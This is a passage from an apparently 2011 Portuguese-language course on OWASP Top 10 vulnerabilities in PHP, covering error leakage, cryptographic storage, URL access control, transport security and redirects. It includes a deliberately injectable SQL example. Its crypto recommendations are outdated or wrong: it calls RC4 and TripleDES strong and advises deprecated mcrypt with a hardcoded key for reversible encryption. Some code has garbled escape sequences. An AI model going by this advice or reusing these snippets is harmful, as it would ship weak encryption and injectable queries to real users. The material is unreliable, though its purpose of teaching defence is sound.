O que é: Aplicações podem “vazar” informações sobre sua configuração e rotinas
internas, devido à uma variedade de problemas. Elas também podem vazar informações
sobre suas rotinas de processamento de estado através do tempo que demoram para
processar requisições específicas ou como reagem à diferentes entradas de informação.
Tipos conhecidos: -
Aplicações geralmente apresentam mensagens de erro para seus usuários.
Frequentemente estas mensagens são úteis para um atacante, já que elas revelam
detalhes de implementação ou informações que são úteis para a exploração de uma
vulnerabilidade específica. Os exemplos mais comuns são:

● Tratamento de erro detalhado, onde a indução de um erro causa a exibição de
muita informação, como falhas de queries SQL ou outras informações de debug.
● Funções que produzem resultados diferentes dependendo da entrada de dados.
Por exemplo: uma função de autenticação deveria produzir exatamente a mesma
mensagem de erro para os casos em que o usuário não existe e para quando a
senha está incorreta.


● Comprometimento de toda a aplicação através do comprometimento de um dos
componentes do backend, como o RDBMS, através da análise de mensagens de
erros em falhas na execução de queries.
● Facilitação da exploração das demais vulnerabilidades expostas neste material.




<?php
$conn = mysql_connect($host, $user, $senha);
$sql = “SELECT id FROM usuarios WHERE login='$login' AND senha='$senha'”;
$resultado = mysql_query($sql) or die('Erro ao executar a query: ' . $sql);
// Mais código padrão
?>


Uma mensagem de erro retornada pela primeira linha, no caso de problemas no
RDBMS, entregaria muitas informações importantes para um atacante:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'usuario'@'localhost'
(using password: YES) in /home/galvao/workspace/topten/mysql_error.php on line 2

Observe-se que, se para invadirmos um RDBMS precisamos de três informações
(endereço do servidor, usuário e senha), a mensagem de erro acima já nos disponibiliza
duas destas.


É importante observar que o uso ou não da função die não representa um
acréscimo de risco: esta função apenas nos permite interromper a execução do script e
exibir uma mensagem de erro customizada. Embora ambas as coisas sejam interessantes
no tratamento desta vulnerabilidade se a exibição de erros do interpretador PHP estiver
ativada elas de nada adiantarão.

Da mesma forma é importante que haja um planejamento cuidadoso da aplicação,
em um ponto que é normalmente ignorado: o tratamento de erros específicos e que
mensagens serão exibidas para o usuário.



Recomendações

● Certifique-se que toda a equipe de desenvolvimento possua uma política bem
definida no tratamento de exceções.
● Todas as ações que passam pelo mesma rotina (por exemplo, autenticação)
retornem a mesma mensagem de erro em caso de falha, e no mesmo tempo de
execução.
● Quando trabalhamos com aplicações web existem normalmente diversos
componentes envolvidos no desenvolvimento, como o RDBMS e o servidor Web,
por exemplo, que podem retornar mensagens de erro para a aplicação. Certifique-
se de que erros vindos de qualquer componente sejam devidamente tratados.


● Desative a exibição de mensagens de erro (display_errors) e ative o
armazenamento das mensagens em arquivo (log_errors).
● Considere implementar um handler padrão para todo e qualquer erro (veja a
seguir).




<?php
class ErrorHandler
{
private static $errMsg;

public static function displayError($pErrCode, $pErrMsg, $pErrFile, $pErrLine)
{
self::$errMsg = "Código: $pErrCodenMensagem: $pErrMsgnArquivo: $pErrFilenLinha:
$pErrLine";
echo "Ocorreu um erro. Por gentileza contate o administrador do sistema.";
mail('galvao@galvao.eti.br', 'Erro no sistema', self::$errMsg);
die();
}
}
?>

<?php
// Arquivo para ser incluído em todos os scripts
require 'error_handler.class.php';
set_error_handler(array(ErrorHandler, 'displayError'), E_ALL);
?>

Armazenamento Criptográfico Inseguro

O que é: O uso de criptografia se tornou uma questão-chave da maioria das aplicações
web. Porém, falhar em realmente criptografar dados delicados é extremamente comum.
Tipos conhecidos: -
Os problemas relacionados à esta vulnerabilidade podem ser definidos da seguinte
forma:

● Não utilizar nenhuma forma de criptografia
● Uso de algoritmos caseiros
● Uso inseguro de algoritmos fortes (veja detalhes nas Recomendações)
● Uso de algoritmos comprovadamente fracos, como MD5 e SHA-1
● Armazenamento de chaves em meios inseguros



Esta vulnerabilidade é mais uma cuja proteção é mais foco de planejamento e
design da aplicação do que propriamente código-fonte. Ainda assim, veremos algumas
questões relacionadas específicamente à linguagem PHP que podem facilitar o seu
tratamento.


● Exposição de dados sensíveis, como credenciais de acesso, dados relacionados à
comércio, etc...
● Violação de privacidade
● Comprometimento da aplicação


Soluções “clássicas” e insuficientes para a criptografia de informação envolve,
basicamente, o uso dos dois hashes mais comuns em aplicações PHP: MD5 e SHA-1.
Qualquer aplicação que utilize uma das duas funções – md5 e sha1, respectivamente –
está automaticamente vulnerável.
Isto se dá pelo fato de que o MD5 já foi completamente quebrado, sendo fácil
encontrar na própria web sites que disponibilizam as chamadas rainbow tables –
literalmente tabelas que contém a string decodificada partindo-se do hash original.
O SHA-1, ou US Secure Hash Algorithm 1, era o algoritmo criptográfico utilizado
pelo governo Norte-Americano. Embora não haja notícia de sua quebra total, uma quebra
parcial foi alcançada por um pesquisador chinês, levando o governo dos EUA à
abandonar este algoritmo.
Resumidamente, podemos afirmar que as seguintes afirmações são verdadeiras,
embora evidentemente elas não estejam presentes neste material para proporcionar paz
de espírito à ninguém:

● Entre não utilizar nenhum algoritmo e utilizar MD5, o melhor é optar por este.
● Entre utilizar MD5 e SHA-1 a melhor opção é a segunda.



Recomendações

● Não crie algoritmos próprios. É um equívoco enorme e muito comum se pensar que
pode-se obter algum nível de segurança por obscuridade ao se optar por um
código próprio.
● Não use algoritmos fracos como MD5 e SHA-1.
● Ao usar chaves criptográficas e vetores de inicialização, jamais deixe o código
responsável por sua geração acessível on-line e jamais armazene-as em meios
que podem ser acessados por terceiros.
● Certifique-se de que credenciais de acesso (como à base de dados, por exemplo)
não sejam acessíveis publicamente.
● Lembre-se que dados 'delicados' não representam apenas os casos mais óbvios
como senhas e números de cartão de crédito. Se o dado é importante ele deve ser
criptografado.


● Esqueça md5 e sha1. Utilize a função mcrypt. Embora esta função não seja padrão
na instalação do interpretador da linguagem a grande maioria dos serviços de
hospedagem habilita esta extensão por default.


A grande vantagem da função mcrypt sobre as demais é a possibilidade de
implementação de algoritmos notoriamente fortes (como TripleDES e RC4, apenas pra
citar alguns).
Outra funcionalidade que é desconhecida para a maioria dos programadores PHP
devido ao hábito de uso da md5 e sha1 é que esta função implementa algoritmos de mão-
dupla, tornando possível a decodificação de informações, quando necessário.



<?php
//Exemplo de uso da mcrypt, com criptografia de mão-dupla
$usuario = 'galvao';
$chave = 'hj(*7aksjkas aa, ';

$iv_size = mcrypt_get_iv_size(MCRYPT_TRIPLEDES, MCRYPT_MODE_OFB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_RANDOM);

$crypt_user = mcrypt_encrypt(MCRYPT_TRIPLEDES, $chave, $usuario, MCRYPT_MODE_OFB,
$iv);

echo "$crypt_usern";

$decrypt_user = mcrypt_decrypt(MCRYPT_TRIPLEDES, $chave, $crypt_user,
MCRYPT_MODE_OFB, $iv);

echo "$decrypt_usern";
?>

Falha de Restrição de Acesso a URL

O que é: Frequentemente a única forma de restrição de acesso à uma URL específica
dentro de uma aplicação é a ausência de links que apontem diretamente para a mesma.
Um atacante com conhecimento, habilidade ou até mesmo sorte pode descobrir e acessar
uma URL, invocando funções da aplicação ou obtendo acesso à informações.
Tipos conhecidos: -

A falta de checagens de controle de acesso é uma das principais causas desta
vulnerabilidade. isto acaba resultando em acesso indevido à URLs que normalmente não
deveiam estar disponíveis. Um “efeito dominó” é gerado à partir deste acesso: a URL
causa a invocação de funções, que por sua vez desempenham ações sobre
componentes, o que nos piores casos leva à exposição e/ou corrupção de dados.




● Exposição de dados.
● Violação de privacidade.
● Corrupção de dados.
● Comprometimento da aplicação.


As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à
exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a
parte de recomendações.


Os erros mais comuns que tornam uma aplicação suscetível à ataques que
explorem esta vulnerabilidade são relacionados ao planejamento. É muito comum a
preocupação, por exemplo, de restringir o acesso à URLs delicadas apenas forçando-se
uma rotina de autenticação.
Este tipo de “proteção” é extremente ineficiente devido à falta de rotinas de controle
de acesso e permissões. Se qualquer usuário do sistema for comprometido, o acesso à
URLs restritas torna-se possível pelo simples fato de um atacante possuir credenciais de
acesso.
Além disso é extremamente comum a tentiva de proteção através de obscuridade
ao se definir as URLs. Esta abordagem é ingênua, pois sendo a web um ambiente
inerentemente aberto, um simples ataque automatizado de “tentativa x erro” é suficiente
para descobrir qualquer URL, por mais obscura que seja.
Ao se definir rotinas de permissão de acesso um dos erros mais comuns é a
inexistência de uma categoria “anônima”. Isso faz com que a probabilidade de erros na
definição das regras de permissão aumente consideravelmente.



Recomendações

● Assegure-se de que uma forte rotina de controle de acesso e níveis de permissão
seja parte da aplicação, em todas as suas fases: Planejamento, Desenvolvimento,
Testes, etc...
● Certifique-se de que todas as URLs sejam cobertas por estas rotinas e que todos
os “níveis” de usuários da aplicação estejam cobertos, mesmo o nível “usuário-não-
registrado/autenticado”.
● Arquivos que serão usados por inclusão devem, via de regra, estar for a da raiz
web, não sendo publicamente acessíveis.
● Bloqueie o acesso à qualquer tipo de arquivo que sua aplicação não utilize,
tomando por regra a abordagem do tipo white list.


● Utilize práticas organizadas e bem-estruturadas de desenvolvimento (como OO e
MVC), que naturalmente levarão à práticas que resultarão na separação de lógica
de aplicação, mantendo arquivos críticos longe da raiz web do servidor.
● Uma prática comum em certos frameworks (como o Zend Framework, por
exemplo) e que auxilia na proteção contra esta vulnerabilidade é o padrão Front
Controller onde todas as requisições são tratadas pelo mesmo controller.

Recomendações na prática

Através da criação de um arquivo .htaccess na raiz web de sua aplicação é
possível implementar o padrão Front Controller:

# www/.htaccess
RewriteEngine On
#RewriteBase /
RewriteRule !.(js|ico|txt|gif|jpg|png|css)$ index.php



Observe-se que a regra de redirecionamento para a controller padrão baseia-se na
análise da extensão do arquivo presente na URL, impedindo-se que requisições comuns –
como por exemplo uma imagem – fiquem “presos” na regra.
Este é apenas um exemplo simples e foge do escopo deste material, mas o
entendimento do funcionamento de re-escrita de URLs através da manipulação de um
arquivo .htaccess torna-se importante na medida que pode auxiliar na implementação de
algumas das recomendações.

Proteção Insuficiente a Camada de Transporte

O que é: É extremamente comum em aplicações web a despreocupação com a
criptografia de comunicação de informações delicadas. A falha na implementação desta
implica na exposição dos dados que estão trafegando (tanto em páginas web, como em
comunicações com algum backend).
Tipos conhecidos: -

Através do monitoramento (sniffing) de comunicações transmitidas através de
redes não criptografadas um atacante pode ter acesso à toda e qualquer informação
constante nesta comunicação.
Este é o único caso de vulnerabilidade presente neste material que não possui
relação direta com código-fonte.


● Exposição de informações, incluindo credenciais de acesso.
● Violação de privacidade.
● Comprometimento da rede, do servidor e por consequência de toda e qualquer
aplicação que trafegue informações nestes meios.



Recomendações

● Toda e qualquer comunicação que trabalhe com informações delicadas deve ser,
obrigatoriamente, protegida, sendo o exemplo mais comum a criptografia através
de SSL / HTTPS.
● Isto inclui comunicações entre a aplicação e seus backends, como o RDBMS.

Redirects e Forwards não validados

O que é: É a não proteção de URLs (de certa forma relacionado ao acesso inseguro a
URLs) que são acessadas por redirects e forwards.
Tipos conhecidos: -
Redirects e Forwards são extremamente comuns em aplicações web. Os
problemas começam a aparecer em duas ocasiões:
● Quando parametrizamos a URL para qual o usuário será
redirecionado/encaminhado, sem a presença de uma rotina de validação.
● Quando não validamos a ocasião em que o usuário será
redirecionado/encaminhado, permitindo a exploração destes casos.

● Acesso indevido a URLs
● Phishing, através do redirecionamento para páginas que se encontram em outros
domínios, externos a aplicação.

Recomendações
● Analise de onde o usuário está vindo, de forma a mapear a aplicação e impedir
acessos indevidos a URLs
● Valide qualquer caso de redirect ou forward parametrizável
● Preste especial atenção aos casos parametrizados que precisam,
necessariamente, utilizar URLs externas.



Conclusão

A proteção contra as vulnerabilidades mais relevantes em aplicações web é um
assunto complexo. Além disso é importante entendermos que, embora o desenvolvedor
desempenhe um papel importante, a questão é também multi-disciplinar, já que envolve
fases de uma aplicação que nem sempre contam com a sua presença.
O que de fato é importante é que o assunto siga sendo divulgado, debatido,
estudado e que soluções sejam criadas, implementadas e disponibilizadas.
Este documento não tem a pretensão de ser umn estudo completo sobre o
assunto, mas promover o seu entendimento e fornecer caminhos para que sua aplicação
torne-se mais segura, robusta e confiável, poupando problemas para você/sua
equipe/seus usuários.
Espero que o objetivo tenha sido atingido, que você tenha tirado um bom proveito
deste curso e que o OWASP e iniciativas similares que são tão importantes nos dias de
hoje se tornem mais conhecidos e divulgados na comunidade de desenvolvimento.

Muito obrigado e sucesso,

Er Galvão Abbott
Porto Alegre, 10 de Março de 2011.



Glossário

Este glossário foi montado para facilitar o entendimento de certos termos/siglas
utilizados neste material. Boa parte deste foi montada tendo como base as definições
presentes na Wikipedia, definitivamente a melhor fonte de informação para este tipo de
coisa.

A
API – Application Programming Interface, ou literalmente “Interface de Programação de
Aplicação”. Uma API é um conjunto de rotinas, estruturas de dados, classes, e/ou
protocolos fornecidos por bibliotecas e/ou Sistemas Operacionais de forma à suportar e
orientar o desenvolvimento de aplicações.

B
backend – Em alguns casos é quase um sinônimo de server-side, mas com a diferença
básica de ser um termo usado para componentes específicos. Por exemplo, um RDBMS é
um backend. Também pode ser usado, em desenvolvimento, para se especificar as
partes de uma aplicação. Por exemplo, se você está desenvolvendo a parte da aplicação
que envolve PHP e um RDBMS você está “desenvolvendo o backend da aplicação”.
black list – Literalmente “lista negra”. Abordagem de se considerar apenas o que é
inválido.

C
canonicalização – Decodificação de uma entrada de dados para uma forma primitiva para
que a aplicação possa trabalhar com o dado.
chroot jail – Uma solução que faz com que a aplicação rodando dentro de um diretório
específico não possa acessar arquivos fora deste diretório.
client-side – O “lado do cliente”, tipicamente representado, no caso das aplicações web,
pelo browser.



D
defacement – Literalmente “deformação”. Consequência de um ataque (levando-se em
conta o contexto deste material) em que o site é deformado com a alteração/inserção das
imagens presentes no mesmo.

DOM – Document Object Model ou Modelo de Objetos do Documento, entre outras coisas
permite o parse de um documento, através da identificação de seus elementos.
DoS – Denial of Service, ou Negação de Serviço. Consequência de um ataque (levando-
se em conta o contexto deste material) em que um serviço é “negado” pelo seu provedor
(software/hardware).

E
eval – Corruptela de evaluate, ou literalmente “avaliar”. Comando que executa a string
informada como se esta fosse código-fonte da própria linguagem.

F
fallback – Ação “alternativa”, executada quando todas as demais falham.

I
input – Entrada de dados.

M
mashup – Aplicação web que combina elementos de outras fontes/aplicações.

O
output – Saída (normalmente, mas não necessariamente a exibição) de dados.

P
phishing – Técnica onde procura-se enganar o usuário forjando um site/aplicação
legítimo.



Q
query – Literalmente “consulta”. Basicamente utiliza-se o termo para qualquer comando
(seja o comando propriamente dito de consulta ou não) enviado para um RDBMS.
query string – Parte da URL responsável por transmitir dados para um script.

R
(R)DBMS – (Relational) Data Bases Managing System ou “Sistema Gerenciador de Bases
de Dados Relacionais”. Sistema que gerencia as bases de dados. Exemplos:
PostgreSQL, Oracle
rootkit – Software malicioso composto de um ou mais programas que tem por objetivo
ocultar p fato de que um sistema foi comprometido.

S
sand box – Ver chroot jail.
server-side – Literalmente o “lado servidor”. É considerado server-side: o interpretador
PHP, o (R)DBMS, etc...
SMB – Server Message Block, ou “Bloco de Mensagens do Servidor”. Protocolo
comumente usado para prover acesso compartilhado para arquivos, dispositivos e portas
seriais.
SO – Sistema Operacional
stored procedures – Pedaços de código (similares à funções) programados e
armazenados (stored) diretamente em um (R)DBMS.
stream – Sucessão contínua, geralmente com início e fim definidos, de dados.
string – Conjunto de caracteres. Utiliza-se para dados do tipo “texto”.

T
token – Identificador, geralmente gerado em tempo de execução, que permite identificar e
validar uma seção ou conjunto de ações realizado em uma aplicação.



Referências

● OWASP – Open Web Application Security Project: http://www.owasp.org/
○ Capitulo Brasileiro: http://www.owasp.org/index.php/Brazilian
○ Top Ten Project:
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
○ PHP Project: http://www.owasp.org/index.php/Category:PHP
○ PHP AntiXSS Library Project:
http://www.owasp.org/index.php/Category:OWASP_PHP_AntiXSS_Library_Proj
ect
○ ESAPI – Enterprise Security API:
http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
● MITRE Corporation: http://www.mitre.org/
○ CWE – Common Weakness Enumeration: http://cwe.mitre.org/
■ Vulnerability Type Distributions in CVE: http://cwe.mitre.org/documents/vuln-
trends/index.html
● Diversos:
○ SQL Attacks by Example: http://www.unixwiz.net/techtips/sql-injection.html
○ Wikipedia: http://wikipedia.org/
○ PHP Security Consortium: http://phpsec.org/


Top 10 OWASP com PHP

Mais conteúdo relacionado

Semelhante a Top 10 OWASP com PHP

Mais de Er Galvão Abbott

Top 10 OWASP com PHP